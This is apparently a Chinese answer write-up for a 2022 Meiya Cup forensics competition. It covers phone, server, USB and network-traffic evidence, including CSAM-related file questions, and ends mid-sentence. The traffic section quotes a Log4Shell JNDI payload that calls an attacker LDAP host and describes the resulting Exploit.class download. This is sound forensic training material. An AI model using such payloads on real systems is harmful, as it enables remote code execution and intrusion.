--- Page 1 ---
2022 美亚杯团队赛 wp
题目顺序与答案参考美亚杯官网，没有解答过程的就是我没做出来的。
2022 美亚杯题目与答案
1.[ 填空题 ] 在朗尼手机于 2022 年 9 月 30 日的 ‘WhatsApp’ 对话里，有一段音讯 (Voice Message) 提到王
景浩会给朗尼现金多少作为租用 ‘VPN’ 的租金 ? ( 以阿拉伯数字回答 ) (3 分 )
答案： 3000
把 whatsapp 聊天记录里面的音频下载下来倒放即可。
2.[ 填空题 ] 就 AGC 集团网络的流媒体服务器 (Media Server) ，有多少个本地用户曾经成功登录过 ? ( 以阿
拉伯数字回答 ) (1 分 )
答案： 3
取证大师看看用户登录信息，就三个用户： user 、 sammy 和 mediauser ：
3.[ 填空题 ] 就 AGC 集团网络的流媒体服务器，有多少个本地用户曾经成功用 ‘ssh’ (Secure Shell) 登录过 ?
( 以阿拉伯数字回答 ) (2 分 )
答案： 3
--- Page 2 ---
登陆终端为 pts/x 的应为 ssh 登录，所以还是这三个用户：
4.[ 填空题 ] 就上述的本地用户，成功通过 ‘ssh’ 登录过该流媒体服务器多少次 ? ( 以阿拉伯数字回答 ) (3 分 )
答案： 12 （答案是 11 ，很难认同）
如上一题，数一下就行。
5.[ 单选题 ] 试找找记录失败的登录尝试信息 . 有以下哪一个名称曾尝试用 ‘ssh:notty’ 登录该流媒体服务
器 ? (2 分 )
A. iamhacker
B. hacking
C. hack
D. hacker
E. 以上皆非
答案： C
查看登录失败的信息，日志路径为/var/log/btmp ：
[ 填空题 ]6. 就该流媒体服务器的本地用户 , 有一个用户名是 ‘S’ 开头的 , 该用户的姓氏是什么 ? ( 以大写英文
回答 ) (3 分 )
答案： LI
这个用户肯定是指 sammy ，这个答案在 wordpress 的数据库里。两种做法，第一种是把 wordpress 数据
库文件导出来恢复。我这里采用了另一种方法，找到数据库账密，直接仿真。
首先根据 wordpress 的文件结构， wp-config.php 里会存数据库账密：
--- Page 3 ---
然后开启仿真，直接去数据库里找：
7.[ 多选题 ] 该流媒体服务器是有使用 Docker 容器 (Docker Container) 的，当中包含以下哪个 Docker
镜像 (Docker Image) ? (3 分 )
A. apache2
B. ubuntu
C. centos
D. nginx
E. hello-world
F. 以上皆非
答案： BCDE
取证大师自动取证直接看镜像信息就行：
--- Page 4 ---
8.[ 单选题 ] 就上述的 Docker 镜像，哪一个镜像在系统上运行中 ? (2 分 )
A. apache2
B. ubuntu
C. centos
D. nginx
E. hello-world
F. 以上皆非
答案： D
查看容器信息，只有 nginx 的运行状态是 running ，其他都是 stopped ：
9.[ 多选题 ] 该流媒体服务器是使用 ‘WordPress’ 建站 (Create Website) 的， 就 ‘ 比特币 ’ 标题， 有以下
的电子邮箱地址曾经留有评论 ? (2 分 )
A. cn.wordpress.org
B. root58462@mail.qq.com
C. hi456@163.com
D. root@163.com
E. user1@localhost.net
F. 以上皆非
答案： BC
同第 6 题，看数据库。首先wp_posts 表看下标题友比特币的有哪些文章：
--- Page 5 ---
经过确认， id 为 5 ，再去wp_comments 中看看相关的评论：
确认下对应 post 的 id 为 5 就行，很明显答案为 BC 。
10.[ 单选题 ] 该流媒体服务器里其中一个本地用户是有使用 ‘calendar’ 日历工具的 , 日历内曾经提及以下
哪个网站 ? (3 分 )
A. https://weibo.com
B. http://www.baidu.com
C. https://www.douyin.com
D. https://youku.com
E. https://www.binance.com
F. 以上皆非
答案： E
找到一篇文章，介绍日历非常详细：
日历软件使用教程：以 Outlook 日历、谷歌日历、苹果日历为例
得知日历的导出是会有一个 ics 文件，在取证大师中也可以找到：
打开就可以看到答案了：
--- Page 6 ---
[ 单选题 ] 11. 该流媒体服务器里是有使用磁盘阵列 (RAID) 的 , 该设备是使用哪一个 RAID 级别 ? ( 请选择最
合适的答案 ) (1 分 )
A. RAID 0
B. RAIDz2
C. RAIDz3
D. RAID 10
E. RAID 5
F. 以上皆非
答案： D
zpool status 查看磁盘状态：
--- Page 7 ---
发现存在 mirror-0 和 mirror-1 ，根据 RAID 知识，认为这个 RAID 级别应该为 RAID 10 。
贴一篇关于 RAID 磁盘阵列的文章吧：
(RAID0 、 1 、 5 、 6 、 10 、 50 、 60 超详细说明，简单易懂！ - 腾讯云开发者社区 - 腾讯云 (tencent.com)
12.[ 单选题 ] 该基本镜像存储池 (Basic Storage Pool) 里储存了一些视频档案 , 请找出一段儿童色情影片 ,
该档案的最后修改时间是什么月份 ? (2 分 )
A. Jun
B. Jul
C. Aug
D. Sep
E. Oct
F. 以上皆非
答案： D
仿真的时候把所有磁盘都带上，全局搜索 .mp4 文件就可以发现了：
查看最后修改日期即可：
13.[ 填空题 ] 承上题，拥有该段儿童色情影片的用户名称是什么 ? ( 不要输入符号，以大写英文及阿拉伯数
字回答 ) (1 分 )
--- Page 8 ---
答案： ROOT
如图所示：
14.[ 填空题 ] 就 AGC 集团网络的流媒体服务器，曾经有用户搜索过有关于儿童色情影片的资料而得到搜索
结果，该用户所输入的网址是什么 ? ( 不要输入符号，以大写英文及阿拉伯数字回答，如 https://web3.c
om，需回答 HTTPSWEB3COM) (2 分 )
答案： HTTPSBITLY3XYI8B5
翻了半天浏览记录什么都没有，想起来除了用浏览器之外，还可以使用 curl 等命令对网页进行访问，于
是去看了看终端记录，找到了这么一行：
搜了下 link.html ，查看内容：
这个点击下就是出来儿童色情的搜索界面，所以就实锤了。
15.[ 填空题 ] 该基本镜像存储池 (pool) 有一个快照 (Snapshot) ，快照的名称是什么 ? ( 不要输入符号，以
大写英文及阿拉伯数字回答，如 media/mediapool@abc123 ，需回答 MEDIAMEDIAPOOLABC123)
(1 分 )
--- Page 9 ---
答案： MEDIA0MEDIASTORAGEVERSION1
zfs list -t snapshot 直接查看：
16.[ 填空题 ] 就上述所找到的基本镜像存储池快照 (Snapshot) ，它储存了多少个档案 ? ( 以阿拉伯数字回
答 ) (1 分 )
答案： 24
可以创建一个新的快照并和旧的快照进行对比
也可以用zfs rollback media0/mediastorage@version1 回滚快照，发现有 24 个文件。
17.[ 单选题 ] 王景浩的 USB 记忆棒里有一个 ‘Data’ 文件夹 (Folder) ，它存有哪一种类型的密钥文件 ? (1
分 )
A. pem
B. cer
C. crt
D. key
E. 以上皆非
答案： A
这个文件夹里面有一个 Notes 目录，其中 Keygen.png 给出了密钥生成的逻辑，明确说明了类型为 PEM ，
估计 Data 下的 P1-P4 就是对应的密钥了：
--- Page 10 ---
18.[ 多选题 ] 承上题， ‘Data’ 文件夹里有一个被加密了的档案，它是被哪一种加密方法加密 ? (2 分 )
A. Symmetric
B. PGP
C. Twofish
D. RSA
E. Triple DES
答案： AD
依然是 Notes 目录下有加密逻辑代码，涉及到 AD 两个选项的算法：
19.[ 单选题 ] 尝试将档案解密，该档案属于哪一个类型 (File type)? (2 分 )
A. exe
B. ods
C. rtf
D. sql
E. 以上皆非
答案： D
根据 Notes 下的解密脚本写代码：
from cryptography.fernet import Fernet
import rsa
with open('P1','rb') as h:
K = rsa.PrivateKey.load_pkcs1(h.read())
with open('minecraft.exe','rb') as ef:
encrypt_key = ef.read(128)
encrypt_word = ef.read()
decrypted_key = rsa.decrypt(encrypt_key, K)
cipher = Fernet(decrypted_key)
decrypted_word = cipher.decrypt(encrypt_word)
--- Page 11 ---
解密后文件的内容为：
20.[ 多选题 ] 承上题，找出以下哪一个名字出现在该档案里 ? (3 分 )
A. Armand To
B. Adam Smasher
C. Beverly Kot
D. Huma Chan
E. 以上皆非
答案： AC
在 sql 文件里一个一个名字搜过去就可以了。
21.[ 单选题 ] 分析 IP 地址 61.238.217.108 向 AGC 服务器 10.0.66.184 发送的第一个 ‘GET’ 指令，它请求的
统一资源定位系统 (Uniform Resource Locator - URL) 是什么 ? (1 分 )
A. http://155.137.195.111:8080
B. http://www.w3.org/2003/05/soap-envelope
C. http://61.238.217.108:8000
D. 以上皆非
答案： A
在流量包中使用ip.src_host == "61.238.217.108" 搜索对应源 ip ，然后追踪第一个 GET 请求的 HTTP
流量：
with open('decrypt','wb') as f:
f.write(decrypted_word)
--- Page 12 ---
22.[ 单选题 ] IP 地址 61.238.217.108 曾经向 AGC 服务器 10.0.66.184 发送 ‘POST’ 指令，它在 ‘HTML
Form’ 项目的 ‘uname’ 栏所输入的字符串是什么 ? (1 分 )
A. root
B. ${jndi:ldap://61.238.217.108:1389/a}
C. application/x-www-form-urlencoded
D. password
答案： B
和上一题一样过滤一下流量，然后找到 POST 那条，追踪 HTTP 流即可：
23.[ 单选题 ] AGC 服务器 10.0.66.184 收到 IP 地址 61.238.217.108 的 ‘POST’ 指令后，它执行了哪些行动 ?
(2 分 )
A. 使用端口 46858 连接 IP 地址 61.238.217.108 的 LDAP 服务器的指定端口
B. 于 IP 地址 61.238.217.108 下载了 Exploit.class
--- Page 13 ---
C. 使用端口 49264 连接 IP 地址 61.238.217.108 发送同步要求
D. 以上皆是
答案： D
取消过滤，查看 POST 之后的流量包行为：
24.[ 填空题 ] 在上述行动后， IP 地址 61.238.217.108 利用哪个端口 (Port) 向 AGC 服务器 10.0.66.184 发出
指令 ? ( 以阿拉伯数字回答 ) (1 分 )
答案： 9001
追踪后面部分流量的 TCP 流，发现命令执行：
--- Page 14 ---
然后查看这个流里面的流量，确定为 9001 端口：
25.[ 多选题 ] AGC 服务器 10.0.66.184 里有一个 AGC 目录 (Directory) ，它的子目录 (Sub Directory) 包含
以下哪一个 ? (2 分 )
A. Accounting
B. Picture
C. Staff
D. Sambashare
E. Retail
答案： ACE
追踪上述的 TCP 流即可：
--- Page 15 ---
26.[ 多选题 ] 入侵者迸入 AGC 服务器 10.0.66.184 后，他成功执行以下哪些指令 ? (2 分 )
A. 檢视了 readme.txt 内容
B. 删除了三个档案
C. 删除了一个目录 (Directory)
D. 替档案改名
E. 建立了两个 txt 档案
答案： DE
还是那些 TCP 流里面的命令，直接讲一下问题都在哪吧。
A 是因为检视的是 readme.pdf 文件，并没有检视 readme.txt ；
B 是因为只删除了 2 个档案
C 没
